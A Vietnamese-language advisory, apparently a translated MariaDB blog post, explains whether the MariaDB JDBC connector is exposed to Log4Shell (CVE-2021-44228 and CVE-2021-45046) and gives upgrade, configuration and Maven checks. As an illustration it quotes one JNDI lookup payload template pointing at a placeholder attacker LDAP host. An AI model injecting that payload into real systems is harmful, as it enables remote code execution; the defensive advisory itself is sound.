Trình kết nối MariaDB Java có bị ảnh hưởng bởi lỗ hổng bảo mật được phát hiện gần đây trong Log4 không? Theo mặc định, trình kết nối Java không sử dụng Log4j. Tuy nhiên, nếu bạn đã định cấu hình nó để sử dụng SLF4j, hãy tiếp tục đọc.
Để biết thông tin ngoài phạm vi của trình điều khiển MariaDB JDBC, hãy đọc Log4Shell và MariaDB.
Lưu ý :Blog này đã được cập nhật 2021-12-15 để bao gồm chi tiết về CVE-2021-45046.
Lỗ hổng Log4j
Apache Log4j là một khung ghi nhật ký mã nguồn mở phổ biến cho các ứng dụng Java. Nó được sử dụng trong nhiều dự án mã nguồn mở và doanh nghiệp bao gồm các nhà cung cấp dịch vụ email và nhà cung cấp dịch vụ điện toán đám mây. Vào ngày 9 tháng 12 năm 2021, một lỗ hổng 0 ngày được tìm thấy trong Log4j có thể dẫn đến việc thực thi mã từ xa, cho phép tin tặc thực thi mã tùy ý trong hệ thống. Lỗ hổng được gọi là “Log4Shell” và được theo dõi là CVE-2021-44228.
Nói tóm lại, lỗ hổng bảo mật cho phép kẻ tấn công đưa một chuỗi tra cứu JNDI gọi ra, chẳng hạn như máy chủ LDAP từ xa (do kẻ tấn công kiểm soát), từ đó trả về một lớp Java độc hại:
${jndi:ldap://[attacker_site]/[malicious_java_class]}
Nếu một chuỗi như thế này được ghi lại bởi Log4j, một lớp Java độc hại có thể chạy mã tùy ý (ví dụ:thông qua một khối mã tĩnh).
Các phiên bản bị ảnh hưởng
May mắn thay, chỉ có các phiên bản Log4j 2.x trước 2.15.0 bị ảnh hưởng. Xem trang lỗ hổng bảo mật Apache Log4j để biết thêm thông tin. Lỗ hổng bảo mật không có trong Log4j phiên bản 1.x.
Cách giảm thiểu CVE-2021-44228
Chiến lược tốt nhất để giảm thiểu lỗ hổng bảo mật là cập nhật phần phụ thuộc Log4j trong các dự án của bạn. Phiên bản 2.16.0, loại bỏ tra cứu tin nhắn, đã có sẵn. Các đạo cụ cho nhóm để nhanh chóng giải phóng điều này.
Cập nhật :Log4j 2.16.0 cũng sửa lỗ hổng thứ hai được theo dõi là CVE-2021-45046.
Trình điều khiển MariaDB JDBC không sử dụng Log4j 2.x. Tuy nhiên, nó hỗ trợ SLF4J. Kiểm tra xem bạn có đang sử dụng chất kết dính Log4j cho SLF4J hay không và nếu có, hãy nâng cấp Log4j cho phù hợp hoặc đặt biến cấu hình sau:
-Dlog4j2.formatMsgNoLookups=true
Hoặc đặt biến môi trường sau:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Lưu ý :Ghi nhật ký chỉ được bật khi được đặt rõ ràng bởi log
tham số. Bên cạnh Log4j, bạn cũng có thể chọn các ràng buộc SLF4J khác như Jakarta Commons Logging, Logback hoặc Java Logging API.
Nếu bạn đang sử dụng Maven, bạn có thể chạy lệnh sau để tìm hiểu xem dự án của bạn có phụ thuộc vào Log4j hay không:
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
Dưới đây là một ví dụ về loại đầu ra bạn sẽ nhận được trong một dự án dễ bị tấn công:
Nếu vì lý do nào đó mà dự án của bạn không biên dịch được, bạn có thể chạy theo cách khác:
mvn help:effective-pom
Tìm kiếm log4j-core
phụ thuộc và kiểm tra phiên bản được sử dụng.
Thông tin bổ sung
Danh sách các liên kết trong blog:
- Trình kết nối Java MariaDB
- SLF4j
- Blog có liên quan Log4Shell và MariaDB
- CVE-2021-44228
- Lỗ hổng bảo mật Apache Log4j
- Apache Log4j Phiên bản 2.16.0
-
log
tham số